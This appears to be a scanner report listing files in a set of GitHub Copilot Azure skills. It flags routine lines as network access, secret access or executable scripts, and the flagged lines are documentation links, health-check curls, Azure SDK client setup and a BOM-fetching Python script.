harness/github-copilot/skills/azure-prepare/references/services/static-web-apps/deployment.md
harness/github-copilot/skills/azure-prepare/references/services/static-web-apps/routing.md
- Network accessline 41
"azureActiveDirectory": { "registration": { "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}", - Network accessline 42
"registration": { "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}", "clientIdSettingName": "AAD_CLIENT_ID", - Network accessline 43
"openIdIssuer": "https://login.microsoftonline.com/{tenant-id}", - Access to secretsline 45
[Credential-related source omitted]
harness/github-copilot/skills/azure-prepare/references/services/storage/access.md
harness/github-copilot/skills/azure-pricing/SKILL.md
- Network accessline 35
GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview - Network accessline 38
Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r - Network accessline 107
| URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 108
| --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi - Network accessline 109
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 110
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. | - Network accessline 190
- [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview) - Network accessline 191
- [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 192
- [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
harness/github-copilot/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md
- Network accessline 3
> Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 4
> Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/) - Network accessline 5
> Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995) - Network accessline 133
- [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 134
- [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing) - Network accessline 135
- [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)
harness/github-copilot/skills/azure-quotas/SKILL.md
- Network accessline 46
| **Key Commands** | `az quota list`, `az quota show`, `az quota usage list`, `az quota usage show` | | **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/ - Network accessline 47
| **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback | | **REST API** | Microsoft. - Network accessline 48
| **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback | - Network accessline 53
> **⚠<U+FE0F> ALWAYS USE CLI FIRST** > > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall - Network accessline 54
> > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits - Network accessline 55
> REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits do - Network accessline 237
| REST API "No Limit" | Misleading — not unlimited | Use CLI instead; see warning in Quick Reference | | `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supporte - Network accessline 238
| `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-man - Network accessline 239
| `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) | - Network accessline 247
**Known unsupported providers:** - ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits) - Network accessline 248
- ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits) - Network accessline 262
|----------|------| | **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overv - Network accessline 263
| **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) | | **Service L - Network accessline 264
| **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) | - Network accessline 265
| **Service Limits Documentation** | [Azure subscription limits](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) | - Network accessline 266
| **Azure Portal - My Quotas** | [Portal Link](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) | - Network accessline 267
| **Request Quota Increases** | [How to request increases](https://learn.microsoft.com/en-us/azure/quotas/quickstart-increase-quota-portal) |
harness/github-copilot/skills/azure-quotas/references/commands.md
- Network accessline 18
> **Required workflow:** > 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microso - Network accessline 19
> 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure- - Network accessline 20
> 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 31
> - ❌ This is NOT unlimited capacity > - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-li - Network accessline 32
> - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits > - ✅ Regiona - Network accessline 33
> - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits - Network accessline 268
**Workarounds**: - Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 269
- Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 295
> **DO NOT assume unlimited capacity. Always:** > 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-ma - Network accessline 296
> 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limi - Network accessline 297
> 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 303
| Error | Cause | Solution | |-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/managem - Network accessline 304
|-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-servic - Network accessline 305
| `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
harness/github-copilot/skills/azure-quotas/scripts/check-quota.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-quotas/scripts/check-quota.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/azure-reliability/references/configure-health-probes.md
- Network accessline 27
3. **Two endpoints, not one** — a fast `/health` for the load balancer, and an optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it - Network accessline 29
5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.
harness/github-copilot/skills/azure-reliability/references/configure-multi-region.md
- Network accessline 276
output endpoint string = 'https://${endpoint.properties.hostName}' - Access to secretsline 441
[Credential-related source omitted] - Access to secretsline 442
[Credential-related source omitted] - Access to secretsline 448
[Credential-related source omitted] - Access to secretsline 449
[Credential-related source omitted] - Access to secretsline 456
[Credential-related source omitted] - Access to secretsline 457
[Credential-related source omitted] - Access to secretsline 464
[Credential-related source omitted] - Access to secretsline 467
[Credential-related source omitted] - Access to secretsline 468
[Credential-related source omitted] - Network accessline 563
# Check Front Door endpoint is responding curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health - Network accessline 564
curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health
harness/github-copilot/skills/azure-reliability/references/health-probe-checks.md
- Network accessline 68
3. **Two endpoints, not one** — fast `/health` for the load balancer, optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it out of r - Network accessline 70
5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.
harness/github-copilot/skills/azure-reliability/references/services/app-service/reliability.md
- Network accessline 59
# Rules must be set via ARM PATCH (CLI doesn't expose autoHealRules directly) az rest --method patch \ --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version= - Network accessline 60
az rest --method patch --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01" - Network accessline 61
--uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01" \
harness/github-copilot/skills/azure-reliability/references/services/functions/reliability.md
- Network accessline 197
- [Reliability in Azure Functions (Microsoft Learn)](https://learn.microsoft.com/en-us/azure/reliability/reliability-functions)
harness/github-copilot/skills/azure-smart-city-iot-solution-builder/SKILL.md
harness/github-copilot/skills/azure-static-web-apps/SKILL.md
- Network accessline 22
- `swa-cli.config.json` is CLI settings and is created by `swa init`; never create it manually. - `staticwebapp.config.json` is runtime configuration for routes, auth, headers, navigation fallback, and API runtime; it can be created manuall - Network accessline 24
- Local SWA emulation defaults to `http://localhost:4280`; common dev server URLs include `http://localhost:3000`. - Network accessline 45
{ "$schema": "https://aka.ms/azure/static-web-apps-cli/schema", - Network accessline 46
"$schema": "https://aka.ms/azure/static-web-apps-cli/schema", - Network accessline 52
"appBuildCommand": "npm run build", "run": "npm run dev", "appDevserverUrl": "http://localhost:3000" - Network accessline 53
"run": "npm run dev", "appDevserverUrl": "http://localhost:3000" } - Network accessline 54
"appDevserverUrl": "http://localhost:3000" - Network accessline 78
| `swa init` | Configure an existing frontend and optional API. | `swa init`, `swa init --yes`. | | `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location, - Network accessline 79
| `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location, -i`, `--output-location, -O`, `--app-build-command, -A`, `--api-build-command, -I`. | | `swa star - Network accessline 80
| `swa start` | Start local emulator. | `swa start`, `swa start ./dist`, `swa start http://localhost:3000`, `swa start ./dist --api-location ./api`, `swa start http://localhost:3000 --run "npm start"`; flags: `--port, -p`, `--api-location, - Network accessline 126
Supported API runtimes are `node:18`, `node:20`, `node:22`, `dotnet:8.0`, `dotnet-isolated:8.0`, `python:3.10`, and `python:3.11`. Test with `npx swa start ./dist --api-location ./api` and access the API at `http://localhost:4280/api/messag - Network accessline 206
### Validation - Local emulator `http://localhost:4280`: pass | fail | not run - Network accessline 207
- Local emulator `http://localhost:4280`: pass | fail | not run - Network accessline 208
- API `http://localhost:4280/api/message`: pass | fail | not applicable - Network accessline 223
- [SWA CLI schema](https://aka.ms/azure/static-web-apps-cli/schema)
harness/github-copilot/skills/azure-storage/SKILL.md
- Network accessline 89
- Blob storage patterns and lifecycle -> [Blob Storage documentation](https://learn.microsoft.com/azure/storage/blobs/storage-blobs-overview) - Network accessline 90
- File shares and Azure File Sync -> [Azure Files documentation](https://learn.microsoft.com/azure/storage/files/storage-files-introduction) - Network accessline 91
- Queue patterns and poison handling -> [Queue Storage documentation](https://learn.microsoft.com/azure/storage/queues/storage-queues-introduction)
harness/github-copilot/skills/azure-storage/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/skills/azure-storage/references/sdk-usage.md
- Network accessline 36
service = BlobServiceClient(account_url="https://ACCOUNT.blob.core.windows.net/", credential=DefaultAzureCredential()) - Network accessline 47
const client = new BlobServiceClient("https://ACCOUNT.blob.core.windows.net/", new DefaultAzureCredential()); - Network accessline 58
var client = new BlobServiceClient(new Uri("https://ACCOUNT.blob.core.windows.net/"), new DefaultAzureCredential()); - Network accessline 70
BlobServiceClient client = new BlobServiceClientBuilder() .endpoint("https://ACCOUNT.blob.core.windows.net/") - Network accessline 71
.endpoint("https://ACCOUNT.blob.core.windows.net/") - Network accessline 90
func main() { cred, _ := azidentity.NewDefaultAzureCredential(nil) client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil) - Network accessline 92
client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil) - Network accessline 104
let credential = DeveloperToolsCredential::new(None)?; let blob_client = BlobClient::new( "https://ACCOUNT.blob.core.windows.net/", - Network accessline 105
let blob_client = BlobClient::new( "https://ACCOUNT.blob.core.windows.net/", "my-container", - Network accessline 106
"https://ACCOUNT.blob.core.windows.net/",
harness/github-copilot/skills/azure-storage/references/sdk/azure-storage-blob-ts.md
- Network accessline 12
import { BlobServiceClient } from "@azure/storage-blob"; import { DefaultAzureCredential } from "@azure/identity"; const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential()); - Network accessline 14
const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential());
harness/github-copilot/skills/azure-storage/references/sdk/azure-storage-file-share-ts.md
- Network accessline 12
import { ShareServiceClient } from "@azure/storage-file-share"; import { DefaultAzureCredential } from "@azure/identity"; const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential()); - Network accessline 14
const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential());
harness/github-copilot/skills/azure-storage/references/sdk/azure-storage-queue-ts.md
- Network accessline 12
import { QueueServiceClient } from "@azure/storage-queue"; import { DefaultAzureCredential } from "@azure/identity"; const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential()); - Network accessline 14
const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential());
harness/github-copilot/skills/azure-upgrade/SKILL.md
- Network accessline 79
- [Automation Scripts](references/services/functions/automation.md) - **Redis** - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManage - Network accessline 80
- **Redis** - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skil - Network accessline 81
- [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skill](https://git
harness/github-copilot/skills/azure-upgrade/references/languages/java/INSTRUCTION.md
- Network accessline 102
- If azure-sdk-bom is used, ensure the BOM version exactly matches the resolved latest stable version recorded in the plan's `Guidelines` section as `TARGET_AZURE_SDK_BOM_VERSION` and there are **NO** explicit version dependencies for Azure - Network accessline 103
E.g. Instead of `implementation 'com.azure.resourcemanager:azure-resourcemanager:2.60.0'`, we should use `implementation 'com.azure.resourcemanager:azure-resourcemanager'`. For Azure libraries in azure-sdk-bom, check https://raw.githubuse - Network accessline 104
For Azure libraries in azure-sdk-bom, check https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml. - Network accessline 115
- [Migrate to `com.azure.resourcemanager.**` from `com.microsoft.azure.management.**`](https://aka.ms/java-track2-migration-guide) - Network accessline 116
- [Migrate to com.azure:azure-messaging-servicebus from com.microsoft.azure:azure-servicebus](https://aka.ms/azsdk/java/migrate/sb) - Network accessline 117
- [Migrate to azure-messaging-eventhubs from azure-eventhubs and azure-eventhubs-eph](https://aka.ms/azsdk/java/migrate/eh) - Network accessline 118
- [Migrate to `azure-messaging-eventgrid` from `microsoft-azure-eventgrid`](https://aka.ms/azsdk/java/migrate/eg) - Network accessline 119
- [Storage Blob Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V8_V12.md) - Network accessline 120
- [Storage Blob Service SDK Migration Guide from 10.x/11.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V10_V12.md) - Network accessline 121
- [Storage Queue Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-queue/migrationGuides/V8_V12.md) - Network accessline 122
- [Storage File Share Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-file-share/migrationGuides/V8_V12.md) - Network accessline 123
- [Migrate to azure-security-keyvault-secrets from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-secrets) - Network accessline 124
- [Migrate to azure-security-keyvault-keys from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-keys) - Network accessline 125
- [Migrate to azure-security-keyvault-certificates from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-cert) - Network accessline 126
- [Migrate to `Azure-Compute-Batch` from `Microsoft-Azure-Batch`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/batch/azure-compute-batch/MigrationGuide.md) - Network accessline 127
- [Migrate to `azure-ai-documentintelligence` from `azure-ai-formrecognizer`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/documentintelligence/azure-ai-documentintelligence/MIGRATION_GUIDE.md) - Network accessline 128
- [Migrate to `azure-ai-formrecognizer 4.0.0-beta.1 - above` from `azure-ai-formrecognizer 3.1.x - lower`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/formrecognizer/azure-ai-formrecognizer/migration-guide.md) - Network accessline 129
- [Migration Guide from Azure OpenAI Java SDK to OpenAI Java SDK](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/openai/azure-ai-openai-stainless/MIGRATION.md) - Network accessline 130
- [Migrate to azure-monitor-query from azure-loganalytics and azure-applicationinsights-query](https://aka.ms/azsdk/java/migrate/monitorquery)
harness/github-copilot/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-settings.md
- Network accessline 3
Some projects define version catalogs programmatically in `settings.gradle` / `settings.gradle.kts` instead of using a TOML file. OpenRewrite does not support this either ([openrewrite/rewrite#4852](https://github.com/openrewrite/rewrite/is
harness/github-copilot/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-toml.md
- Network accessline 3
OpenRewrite does not yet support TOML version catalogs ([openrewrite/rewrite#4400](https://github.com/openrewrite/rewrite/issues/4400)). Handle manually.
harness/github-copilot/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle.md
- Network accessline 24
Under the hood (OpenRewrite recipes): - **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency)) - Network accessline 25
- **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency)) - Network accessline 26
- **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/gradle/upgradedependencyversion)) - Network accessline 27
- **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/gradle/removeredundantdependencyversions)) - Network accessline 84
For every Azure dependency whose group starts with `com.azure` and is managed by the BOM (verify against `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`), strip the version coordinate.
harness/github-copilot/skills/azure-upgrade/references/languages/java/bom-migration/bom-maven.md
- Network accessline 24
Under the hood (OpenRewrite recipes): - **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency)) - Network accessline 25
- **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency)) - Network accessline 26
- **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/maven/upgradedependencyversion)) - Network accessline 27
- **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/maven/removeredundantdependencyversions)) - Network accessline 85
For every `<dependency>` whose `<groupId>` starts with `com.azure` (e.g. `com.azure`, `com.azure.resourcemanager`, `com.azure.spring`), check whether the BOM manages it (see the BOM POM at `https://repo1.maven.org/maven2/com/azure/azure-sdk
harness/github-copilot/skills/azure-upgrade/references/languages/java/bom-migration/bom-migration.md
- Network accessline 39
If Python is not available or the `--get-latest-version` command fails, fetch `https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml` directly and use the `<version>` value declared in that BOM `pom. - Network accessline 57
> 💡 **Tip:** To check which artifacts are managed by the BOM, fetch > `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom` - Network accessline 58
> `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`
harness/github-copilot/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.eventprocessorhost.md
- Network accessline 16
Replace usage of `InMemoryCheckpointManager` / `InMemoryLeaseManager` with [BlobCheckpointStore](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs-checkpointstore-blob/src/main/java/com/azure/mess
harness/github-copilot/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.management.md
- Access to secretsline 61
[Credential-related source omitted]
harness/github-copilot/skills/azure-upgrade/references/languages/java/scripts/upgrade_bom.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 43
GROUP_ID = "com.azure" ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" - Network accessline 44
ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"} - Network accessline 45
BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" - Network accessline 46
POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"} - Network accessline 80
def _get_latest_bom_version() -> str: try: with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response: - Network accessline 81
try: with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response: pom_xml = response.read() - Network accessline 82
with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response: - Network accessline 167
except ET.ParseError: return False ns = {"m": "http://maven.apache.org/POM/4.0.0"} - Network accessline 168
return False ns = {"m": "http://maven.apache.org/POM/4.0.0"} for dep in tree.findall(".//m:dependencyManagement/m:dependencies/m:dependency", ns): - Network accessline 169
ns = {"m": "http://maven.apache.org/POM/4.0.0"}
harness/github-copilot/skills/azure-upgrade/references/languages/java/templates/PLAN_TEMPLATE.md
- Network accessline 198
- **Fluent API Changes** - **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager. - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for meth - Network accessline 199
- **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager. - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings. --> - Network accessline 200
- **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings.
harness/github-copilot/skills/azure-upgrade/references/languages/java/templates/SUMMARY_TEMPLATE.md
- Network accessline 111
- **Fluent API Changes** - **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager. - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide - Network accessline 112
- **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager. - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide - **Files Changed**: ResourceProvisioner.jav - Network accessline 113
- **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide
harness/github-copilot/skills/azure-upgrade/references/services/functions/automation.md
- Network accessline 4
> All scripts use `bash` syntax compatible with Azure Cloud Shell. For PowerShell, adapt accordingly. > > **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to - Network accessline 6
> **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux) - Network accessline 317
- [Build and deploy with Azure Pipelines](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-azure-devops) - Network accessline 318
- [Build and deploy with GitHub Actions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-github-actions) - Network accessline 357
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST") - Network accessline 374
# Test an HTTP trigger function curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>" - Network accessline 375
curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>"
harness/github-copilot/skills/azure-upgrade/references/services/functions/consumption-to-flex.md
- Network accessline 4
> **Target**: Azure Functions Flex Consumption Plan (FC1/FlexConsumption) > **Platform**: Linux only (Windows support planned for future) > **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/ - Network accessline 6
> **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux) - Network accessline 139
1. **Smoke test** — Get the app’s default hostname via `az functionapp show --query defaultHostName -o tsv`, then hit that URL and confirm it returns a non-error response (HTTP 2xx/4xx, not connection refused or 503). This is the minimum ba - Network accessline 140
2. Verify the app is running on Flex Consumption (`az functionapp show --query sku`) 3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`) 4. Capture and compare performance benchmarks - Network accessline 141
3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`) - Network accessline 223
- [Flex Consumption plan overview](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-plan) - Network accessline 224
- [How to use the Flex Consumption plan](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-how-to) - Network accessline 225
- [Azure CLI flex-migration commands](https://learn.microsoft.com/en-us/cli/azure/functionapp/flex-migration) (Linux only) - Network accessline 226
- [Flex Consumption IaC samples](https://github.com/Azure-Samples/azure-functions-flex-consumption-samples/tree/main/IaC) - Network accessline 227
- [Flex Consumption plan deprecations](https://learn.microsoft.com/en-us/azure/azure-functions/functions-app-settings#flex-consumption-plan-deprecations)
harness/github-copilot/skills/azure-upgrade/references/services/redis/redis-to-amr.md
- Network accessline 10
